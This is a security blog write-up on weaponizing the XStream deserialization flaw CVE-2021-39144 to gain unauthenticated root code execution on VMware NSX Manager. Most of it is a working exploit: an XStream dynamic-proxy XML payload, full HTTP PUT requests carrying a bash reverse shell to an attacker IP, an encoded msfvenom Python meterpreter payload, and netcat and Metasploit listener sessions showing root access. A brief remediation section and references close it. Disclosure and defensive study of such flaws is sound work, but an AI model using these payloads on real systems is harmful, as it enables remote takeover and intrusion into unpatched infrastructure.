Overview
On the 25th October 2022, security researcher Sina Kheirkhah and Steven Seeley from Source Incite discovered a remote code execution in VMware NSX Manager (NSX-V) that exploits the XStream vulnerability that was identified in August 2021. There is an excellent writeup that can be found here: Eat What You Kill which explains this technical details of this remote code execution. Please read the article first because I will not repeat all the good things explained in the article, but focus more on how to weaponize this exploit.
In a nut shell, XStream is a set of concise and easy-to-use open-source class libraries for marshalling Java objects into XML or unmarshalling XML into Java objects. It is a two-way converter between Java objects and XML.
In XStream <= 1.4.18 there is a deserialization of untrusted data and is tracked as CVE-2021-39144. VMWare NSX Manager (NSX-V) uses the package xstream-1.4.18.jar so it is vulnerable to this deserialization vulnerability.
But this is not the only part.
To make this work Dynamic Proxies are used.
Dynamic proxy is a design pattern in Java which provides a proxy for a certain object, and the proxy object controls the access to the real object. These proxies are fronts or wrappers that pass function invocation through their own facilities (onto real methods) and this is being used to trigger the execution.
And the final piece is to identify an endpoint that is reachable from an unauthenticated context, where an attacker can send a specially crafted XStream marshalled payload with the dynamic proxy and trigger remote code execution in the context of root!
This unauthenticated endpoint can be found in /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml configuration and is pre-authenticated due to the use of isAnonymous.
<http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless">
<csrf disabled="true" />
<!-- ... -->
<intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" />
<intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" />
<!-- ... -->
<custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/>
<custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/>
<custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/>
<custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/>
</http>
The next step is to turn the deserialization primitive into remote code execution.
At first, take this XML example below to craft your malicious XML payload.
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>PUT YOUR PAYLOAD HERE</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
Let’s take a reverse bash shell payload example: bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1 and send this with burpsuite to the pre-authenticated endpoint of a vulnerable VMware NSX Manager. The pre-authenticated endpoint will work with any randomized string /api/2.0/services/usermgmt/password/<random string>.
Note: please use HTML encoding for your payload inside the XML, otherwise it will NOT work.
Burp Request
PUT /api/2.0/services/usermgmt/password/blablabla HTTP/1.1
Host: 192.168.100.5
Content-Type: application/xml
Content-Length: 587
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.100.7/4444 0>&1</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
Start a Netcat listener on attacker host and send the burp request to the vulnerable endpoint.
You will get a bash shell on your attacker machine.
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.5] 46488
bash: cannot set terminal process group (5722): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0# uname -a
uname -a
Linux manager 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022 x86_64 GNU/Linux
bash-5.0# whoami
whoami
root
bash-5.0#
Let’s take another example where we launch a meterpreter session using Metasploit.
First create a python meterpreter payload using mfsvenom.
# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
Encode this payload with an HTML encoder. There are a lot of good HTML encoders online that you can use -> Online HTML encoder
And construct the XML payload below with burpsuite.
PUT /api/2.0/services/usermgmt/password/cuckoo HTTP/1.1
Host: 192.168.100.5
Content-Type: application/xml
Content-Length: 1055
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>python</string>
<string>-c</string>
<string>exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
Start up a python meterpreter listener in Metasploit using the multi/handler.
msf6 > use multi/handler
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 0.0.0.0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
Send the burp request and wait for meterpreter session to come in.
msf6 exploit(multi/handler) > [*] Sending stage (40164 bytes) to 192.168.100.5
[*] Sending stage (40168 bytes) to 192.168.100.5
[*] Meterpreter session 5 opened (192.168.100.7:4444 -> 192.168.100.5:58920) at 2022-11-06 06:47:59 +0000
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 meterpreter python/linux root @ manager 192.168.100.7:4444 -> 192.168.100.5:58920 (192.168.100.5)
msf6 exploit(multi/handler) > sessions -i 5
[*] Starting interaction with 5...
meterpreter > sysinfo
Computer : manager
OS : Linux 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: root
meterpreter >
The examples above show that the vulnerability is straightforward to weaponize, increasing the likelihood of practical exploitation.
VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13 are vulnerable to Remote Command Injection using XStream.
I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the Reference section.
Remediation
Please update VMware NSX Manager to 6.4.14 and follow the instructions in VMware Knowledge Base article listed in the Reference section.
References
- CVE-2021-39144
- Eat What You Kill::Pre-authenticated Remote Code Execution in VMWare NSX Manager
- VMware advisory
- VMware KB
Credits
Credits goes to the security researchers below who discovered these vulnerabilities.